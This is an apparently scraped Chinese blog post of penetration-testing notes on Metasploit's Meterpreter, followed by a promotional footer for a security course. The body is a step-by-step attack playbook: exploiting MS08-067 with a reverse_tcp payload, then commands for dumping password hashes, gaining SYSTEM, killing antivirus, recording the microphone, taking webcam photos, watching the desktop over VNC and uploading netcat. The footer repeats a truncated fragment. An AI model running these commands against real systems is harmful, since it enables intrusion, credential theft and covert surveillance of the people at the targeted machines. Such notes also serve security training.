【渗透测试笔记】之【MSF Meterpreter Payload】_meterpreter的payload有哪些(1)

root@kali:~# msfconsole
msf5 > use exploit/windows/smb/ms08_067_netapi
msf5 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.172.130
msf5 exploit(windows/smb/ms08_067_netapi) > show targets
msf5 exploit(windows/smb/ms08_067_netapi) > set target 34
msf5 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms08_067_netapi) > show options
msf5 exploit(windows/smb/ms08_067_netapi) > run -j
msf5 exploit(windows/smb/ms08_067_netapi) > sessions
msf5 exploit(windows/smb/ms08_067_netapi) > sessions -i 1
# 获取到meterpreter session
meterpreter >

常用命令

# 保留session，返回msf
meterpreter >background
# 帮助
meterpreter >help
# linux移植命令（cd、ls、ps、cat、pwd、dir、mkdir、mv、rm、rmdir、edit（vi）等）
meterpreter >pwd
# lpwd查看本机当前工作目录



# 查看shell当前的uid
meterpreter >getuid
# 获取当且shell注入进程的pid
meterpreter >getpid
# 查看所有进程
meterpreter >ps
# 迁移到其它进程（跟进程id，一般迁移到explorer.exe）
meterpreter >migrate 652




# 查看当前用户权限
meterpreter >getprivs
# 获得system权限
meterpreter >getsystem
# hashdump获取账户密码哈希值
meterpreter >hashdump
# 杀死某个进程
meterpreter >kill 1524
# 获得目标shell
meterpreter >sehll
# 搜索目标主机上的文件
meterpreter >search -f win.ini



# 查看arp缓存
meterpreter >arp
# 查看开放端口
meterpreter >netstat
# 查看ip
meterpreter >ifconfig
# 路由表查看及更改帮助
meterpreter >route
meterpreter >route -h



# 查看空闲时间（没有进行操作的时间）
meterpreter >idletime
# 导入一个meterpreter操作文件
meterpreter >resource -r 1.txt



# 记录麦克风
meterpreter >record_mic
# 查看可使用的摄像头
meterpreter >webcam_list
# 每隔两秒拍一张照片
meterpreter >webcam_snap -i 2 -v false



meterpreter >lpwd
# 在本机进入某个目录
meterpreter >lcd /root/Desktop
# 在前台运行命令（后台运行为bgrun），按两下tab查看可用命令



meterpreter >run [按两下table]
# 杀死杀毒软件
meterpreter >run killav
# 桌面监视
meterpreter >run vnc



# 下载文件（会下载到lpwd）
meterpreter >download 1.txt
# 上传文件
meterpreter >upload /usr/share/windows-binaries/nc.exe c:\\windows\\system32

## 最后

**自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。**

**深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！**

**因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。**

![img](https://img-blog.csdnimg.cn/img_convert/7b9909ab45943f4dbecdc8bba54f17c6.png)

![img](https://img-blog.csdnimg.cn/img_convert/3b5870d92028615aca5c99e2f2b6a202.png)

![img](https://img-blog.csdnimg.cn/img_convert/72de889f3fef8bf67965733d3ce7edfc.png)

![img](https://img-blog.csdnimg.cn/img_convert/f94db87819846d9e4f2f3f40e0f88346.png)

![img](https://img-blog.csdnimg.cn/img_convert/afc7a6f592bcf484eeba828387e5c89f.png)

 

**既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！**

[**如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！**

套学习资料的朋友可以戳我获取！！**](https://bbs.csdn.net/topics/618653875)

**由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！**